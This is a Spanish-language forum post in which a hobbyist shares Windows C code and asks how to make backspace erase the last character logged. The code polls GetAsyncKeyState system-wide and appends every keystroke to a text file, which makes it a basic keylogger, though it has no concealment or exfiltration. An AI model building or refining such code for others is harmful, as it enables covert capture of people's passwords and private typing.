Es que estaba haciendo un programa para reconocer el teclado y cuando pongo DELETE, osea, cuando apreto la barra para borrar le puse que dejara un "|<-|" en el archivo de texto, ahora para hacer lo que quiero puedo hacer 2 cosas, recorrer el archivo y cuando encuentre un |<-| borrar lo que halla antes EJ: si encuentra esto en el archivo de texto "a b|<-|<-|" que termine asi "a", o que borre altiro el ultimo caracter:
Mi codigo es este:
Código C:
Ver original#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winuser.h>
int main() {
short character;
short mayus;
mayus = 0;
while(1) {
Sleep(25);
for(character=8 ; character<=222 ; character++) {
if(GetAsyncKeyState(character) == -32767) {
FILE *archivo;
archivo
= fopen("holi.txt","a+"); if(!archivo) {
return EXIT_FAILURE;
}
else {
if (character == VK_CAPITAL)
mayus++;
if((character >= 39) && (character <= 64)) {
fputc(character
, archivo
); break;
}
else if((character > 64) && (character < 91 )) {
if (!(mayus%2))
fputc(character
+32,archivo
); else
fputc(character
,archivo
); break;
}
else {
switch(character) {
case VK_SPACE:
break;
case VK_CAPITAL:
fputs("|Bloq Mayus|",archivo
); break;
case VK_LSHIFT:
fputs("|L Shift|",archivo
); break;
case VK_RSHIFT:
fputs("|R Shift|",archivo
); break;
case VK_RETURN:
fputs("|Enter|\n",archivo
); break;
break;
case VK_BACK:
break;
case VK_TAB:
break;
case VK_RCONTROL:
fputs("|R Ctr|",archivo
); break;
case VK_LCONTROL:
fputs("|L Ctr|",archivo
); break;
case VK_RMENU:
fputs("|R Alt|",archivo
); break;
case VK_LMENU:
fputs("|L Alt|",archivo
); break;
case VK_DELETE:
break;
case VK_ADD:
break;
case VK_DECIMAL:
break;
case VK_OEM_1:
case VK_OEM_2:
break;
case VK_OEM_3:
break;
case VK_OEM_4:
break;
case VK_OEM_5:
break;
case VK_OEM_6:
break;
case VK_OEM_7:
break;
case VK_NUMPAD0:
break;
case VK_SUBTRACT:
break;
case VK_MULTIPLY:
break;
case VK_INSERT:
fputs("|Insert|",archivo
); break;
case VK_NEXT:
fputs("|Av Pag|",archivo
); break;
case VK_PRIOR:
fputs("|Re Pag|",archivo
); break;
case VK_PRINT:
fputs("|Imp Pant|",archivo
); break;
case VK_UP:
break;
case VK_DOWN:
break;
case VK_RIGHT:
fputs("|Right|",archivo
); break;
case VK_LEFT:
break;
case VK_NUMPAD1:
break;
case VK_NUMPAD2:
break;
case VK_NUMPAD3:
break;
case VK_NUMPAD4:
break;
case VK_NUMPAD5:
break;
case VK_NUMPAD6:
break;
case VK_NUMPAD7:
break;
case VK_NUMPAD8:
break;
case VK_NUMPAD9:
break;
case VK_F1:
break;
case VK_F2:
break;
case VK_F3:
break;
case VK_F4:
break;
case VK_F5:
break;
case VK_F6:
break;
case VK_F7:
break;
case VK_F8:
break;
case VK_F9:
break;
case VK_F10:
break;
case VK_F11:
break;
case VK_F12:
break;
default:
break;
}
}
}
}
}
}
return EXIT_SUCCESS;
}
Lo he pensado harto pero no encuentro una forma de hacerlo en pocos pasos, por que lo de ir recorriendo el archivo de texto e ir borrando el caracter que halla antes de un "|<-|" no se como hacerlo todavia pero creo que quedaria como con muchas lineas y se me ocurre que no seria lo mas optimo, en vez de eso prefiero un codigo que automaticamente borre el ultimo caracter... Si a alguien se le ocurre como... Pls